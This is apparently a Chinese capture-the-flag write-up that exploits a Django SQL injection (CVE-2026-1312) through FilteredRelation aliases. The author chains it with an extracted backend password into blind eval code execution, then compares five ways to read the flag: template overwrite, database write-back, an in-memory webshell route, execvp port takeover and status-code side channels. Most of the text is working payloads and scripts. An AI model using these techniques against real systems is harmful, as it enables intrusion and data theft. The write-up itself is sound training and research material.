Auth Django (CVE-2026-1312)
题目
题目很有意思,链条也比较长。第一步是JWT伪造,直接略过吧。题目有双重登录,拿到admin权限后可以查询alias name。这里结合CVE进行一个注入,拿到backend访问权限,获得python eval能力,无回显提取flag。
JWT 伪造 → SQL 盲注提权 → 后台登录 → eval RCE(无回显) → 读 flag其实这个SQL注入的CVE在看了学长的文章(https://void2eye.top/posts/cve-2026-1312-django%E5%A4%8D%E7%8E%B0/)后就茅塞顿开了,但是比较有意思的是如何在无回显的情况下拿到flag。赛后想了5种方法并复现了一下
| 方法 | 原理 | 备注 |
|---|---|---|
| 写模板 | 修改模板文件,DEBUG 模式热加载 | 最简单,一行文件写入,仅 DEBUG=True 有效 |
| 写数据库 | eval 写 flag 到 SQLite,盲注回读 | 应该是最稳定的,需要报错得知数据库路径 |
| 内存马 | monkey patch 已有路由的 callback | 无文件落地,但是中间件限制了添加路由 |
| execvp 接管端口 | 原地替换 worker 进程为 http.server | 直接浏览文件系统,这是好事啊 |
| 侧信道盲注 | 有 200/400 就能注 | 这个感觉也不错啊,用不着那么绕 |
CVE-2026-1312 SQL 盲注
题目场景
伪造JWT登录后,访问/data?name=<alias>。
可控的是alias name,默认填入的是user,拼接出来的SQL是:
SELECT "src_user"."id", "src_user"."title", "src_user"."author_id" FROM "src_user" INNER JOIN "src_group" user ON ("src_user"."author_id" = user."id") ORDER BY user."id" ASC漏洞原理
data_view 中用户输入 name 直接作为 FilteredRelation 的别名和 order_by 字段:
crafted = request.GET.get("name", "user")query = QueryUser.objects.alias(**{crafted: relation}).order_by(crafted)Django 编译 SQL 时,在 _order_by_pairs() 中存在关键判断:
if "." in field: # 认为是 extra(order_by=...) 传入的原始 SQL,直接拼接 table, col = col.split(".", 1) yield OrderBy( RawSQL("%s.%s" % (self.quote_name_unless_alias(table), col), []), descending=descending, ) continue # 跳过后续的别名引用计数这里最关键的就是,当别名包含 . 时,Django认为传入的就不是别名,直接跳过了这个join,直接拼接到sql语句中去了。
Django 的 FORBIDDEN_ALIAS_PATTERN 禁止了 ' ` " [] ; 空白 # -- /* */,但允许 .、()、*、-、字母、数字,有点有括号,那就很方便了其实。
盲注 Payload 结构
这个是学长文章里给出的payload,写的是非常精妙啊,利用排序来盲注。
src_user.id*(1-2*( {SQL} ))
如果查询为真,ORDER BY id*1 ASC,就是正序(首行 id=4);如果查询为假,ORDER BY id*(-1) ASC,那就是逆序(首行 id=6)
SELECT(UNICODE(SUBSTR(password,{pos},1))>{mid})FROM(user_profile)LIMIT(1)注入提取Backend账号密码
由于是Sqlite,提取表名还是很方便的,这个sqlite_master太强大了。
FROM(sqlite_master)WHERE(type=char(116,97,98,108,101))LIMIT(1)套一个二分模板
def bchar(template, pos): lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if check(template.format(p=pos, m=mid)): lo = mid + 1 else: hi = mid return chr(lo) if 32 < lo <= 126 else None逐字符二分搜索,提取到 user_profile 表中的凭据:
username: backend_adminpassword: Q7mK2pL9Python 无回显 eval RCE
登录 /backend/login,可以访问/backend/run,执行python eval。看起来没有限制,不过回显是有200、400。
通过 base64 编码避免特殊字符问题:
/backend/run?expression=exec(__import__('base64').b64decode('<base64_payload>'))后面拿到源码了,是长这个样子。那么接下来就是想看看,这样的场景下,如何提取flag。
def backend_run_view(request): expression = request.GET.get("expression", "") try: result = eval(expression) except Exception as exc: return HttpResponse(f"error in your expression!", status=400) return HttpResponse(f"success")1. 写模板文件
Django 在 DEBUG=True 模式下,模板加载器不会缓存模板文件,每次请求都会从磁盘重新读取。所以只需修改模板文件,刷新页面就可以看到flag。
t = open('/app/templates/backend.html').read()flag = open('/flag').read()t = t.replace('</h1>', '</h1><!-- ' + flag + ' -->', 1)open('/app/templates/backend.html', 'w').write(t)
不过貌似不是预期解,学长说他下次要关掉DEBUG..
2. 写数据库回读
eval 可以通过 sqlite3 模块直接操作 Django 的数据库文件。将 /flag 内容写入刚刚/data页面有result输出的表,刷新一下就能看到。或者随便写,然后再盲注。
import sqlite3f = open('/flag').read()c = sqlite3.connect('/app/db.sqlite3')c.execute('UPDATE src_group SET profile_content=? WHERE name=?', (f, 'user'))c.commit()3. 内存马
这可能是预期解?因为特意做了中间件限制
绕过中间件
中间件会检测len(urlpatterns),所以直接urlpatterns.append()添加路由行不通。
class RouteGuardMiddleware: def __init__(self, get_response): self.get_response = get_response
def _get_patterns(self): resolver = get_resolver() module = importlib.import_module(resolver.urlconf_name) return module.urlpatterns
def __call__(self, request): patterns = self._get_patterns() before_len = len(patterns)
response = self.get_response(request)
patterns = self._get_patterns() after_len = len(patterns)
if after_len > before_len: diff = after_len - before_len del patterns[before_len:after_len]
return HttpResponse( f"🚫 Forbidden! You tried to add {diff} route(s).", status=403 )
return response这里有两种方式,可以patch掉中间件绕过检查;也可以替换已有路由的callback,把自己新建的函数对象赋值过去。
A. Patch 中间件
让中间件直接返回
import src.middlewaresrc.middleware.RouteGuardMiddleware.__call__ = lambda self, req: self.get_response(req)此时整个检查就没了,注入 shell 路由。噢噢然后有一个坑点,在 eval 是局部作用域,得用 __import__("os").popen(cmd).read():
import src.urlsfrom django.urls import get_resolverfrom django.http import HttpResponse
def shell(request): cmd = request.GET.get("cmd", "id") return HttpResponse(__import__("os").popen(cmd).read())
src.urls.urlpatterns.append(path("shell", shell))get_resolver.cache_clear()访问 http://target/shell?cmd=cat /flag 即可获取 flag。
B. 直接修改 URLPattern 的 callback
也可以直接替换已有路由的回调函数
import src.urlsfrom django.http import HttpResponse
def shell(request): cmd = request.GET.get("cmd") return HttpResponse(__import__("os").popen(cmd).read())
for p in src.urls.urlpatterns: if hasattr(p, 'name') and p.name == 'backend': p.callback = shell break4. os.execvp 替换进程
一开始的思路是直接杀死旧进程,然后在同一个端口上开一个http.server,直接目录遍历。不过 Django runserver 默认启用 auto-reloader,而且是由docker的exec启动,pid=1,子进程被父进程维护着,会自动重启。如果杀了pid=1,docekr估计也会重启。

不过可以用 os.execvp() 将 Django worker 进程直接替换为 http.server,直接接管同一端口,获得文件系统浏览能力。
来点AI补充的细节:
Python 3.4+ 的 socket 默认设置
SOCK_CLOEXEC,execvp时旧的 server socket 自动关闭。Python 的http.server设置了allow_reuse_address = True(SO_REUSEADDR),可以在旧 socket 关闭后立即重新绑定同一端口。
还有一个问题,我不知道端口啊。那既然容器环境很干净,直接读Linux虚拟文件系统就可以了。从 /proc/net/tcp 解析 LISTEN 状态的 socket,获取实际监听端:
import osport = "8000"for f in ("/proc/net/tcp", "/proc/net/tcp6"): for line in open(f): p = line.split() if len(p) > 3 and p[3] == "0A": # 0A = LISTEN port = str(int(p[1].split(":")[1], 16)) break if port != "8000": breakos.chdir("/")os.execvp("python3", ("python3", "-m", "http.server", port))/proc/net/tcp 每行格式为 local_address rem_address st ...,其中 local_address 是 IP:PORT 的十六进制表示(如 00000000:1997,1997 hex = 6543 dec),st = 0A 表示 LISTEN 状态。遍历 /proc/net/tcp 和 /proc/net/tcp6,找到 LISTEN 的 socket 即为当前服务监听端口。
Base64 编码后通过 eval 注入:
/backend/run?expression=exec(__import__('base64').b64decode('aW1wb3J0IG9zCnBvcnQgPSAiODAwMCIKZm9yIGYgaW4gKCIvcHJvYy9uZXQvdGNwIiwgIi9wcm9jL25ldC90Y3A2Iik6CiAgICBmb3IgbGluZSBpbiBvcGVuKGYpOgogICAgICAgIHAgPSBsaW5lLnNwbGl0KCkKICAgICAgICBpZiBsZW4ocCkgPiAzIGFuZCBwWzNdID09ICIwQSI6CiAgICAgICAgICAgIHBvcnQgPSBzdHIoaW50KHBbMV0uc3BsaXQoIjoiKVsxXSwgMTYpKQogICAgICAgICAgICBicmVhawogICAgaWYgcG9ydCAhPSAiODAwMCI6CiAgICAgICAgYnJlYWsKb3MuY2hkaXIoIi8iKQpvcy5leGVjdnAoInB5dGhvbjMiLCAoInB5dGhvbjMiLCAiLW0iLCAiaHR0cC5zZXJ2ZXIiLCBwb3J0KSkK'))
5. 侧信道盲注
既然能区分命令执行结果的成功、失败情况,那么就可以二分盲注了。
1/True会返回200,1/False会返回400。
def check(pos, mid): expr = f"1/(open('/flag').read()[{pos}]>chr({mid}))" r = requests.get(f"{TARGET}/backend/run", params={"expression": expr}, cookies=COOKIES, timeout=10) return r.status_code == 200
def extract(): flag = "" for pos in range(200): lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if check(pos, mid): lo = mid + 1 else: hi = mid if lo <= 32 or lo > 126: break flag += chr(lo) print(f"\r flag: {flag}", end="", flush=True)
print(f"\n[+] Done! flag = {flag}")这里的表达式是expr = f"1/(open('/flag').read()[{pos}]>chr({mid}))",那么更进一步,实际上可以直接转化为一个shell:
expr = f"1/(len(__import__('os').popen('{cmd}').read())>{pos})"
效果也是非常不错的。不过真的很慢了,一秒钟蹦出一个字符。
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









